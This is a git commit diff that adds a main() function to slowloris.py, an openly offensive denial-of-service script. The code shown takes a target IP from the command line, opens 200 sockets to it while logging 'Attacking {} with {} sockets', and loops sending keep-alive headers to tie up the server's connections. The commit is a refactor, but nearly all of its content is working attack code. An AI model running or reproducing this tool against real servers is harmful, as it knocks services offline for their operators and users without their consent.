Added main function to slowloris.py

This commit is contained in:
Gökberk Yaltıraklı 2015-04-26 12:56:08 +03:00
parent 18cb078818
commit f5b884ceaf
1 changed files with 27 additions and 26 deletions

View File

@ -26,12 +26,13 @@ def init_socket(ip):
s.send("{}\r\n".format(header).encode("utf-8"))
return s
ip = sys.argv[1]
socket_count = 200
log("Attacking {} with {} sockets.".format(ip, socket_count))
def main():
ip = sys.argv[1]
socket_count = 200
log("Attacking {} with {} sockets.".format(ip, socket_count))
log("Creating sockets...")
for _ in range(socket_count):
log("Creating sockets...")
for _ in range(socket_count):
try:
log("Creating socket nr {}".format(_), level=2)
s = init_socket(ip)
@ -39,7 +40,7 @@ for _ in range(socket_count):
break
list_of_sockets.append(s)
while True:
while True:
log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets)))
for s in list_of_sockets:
try: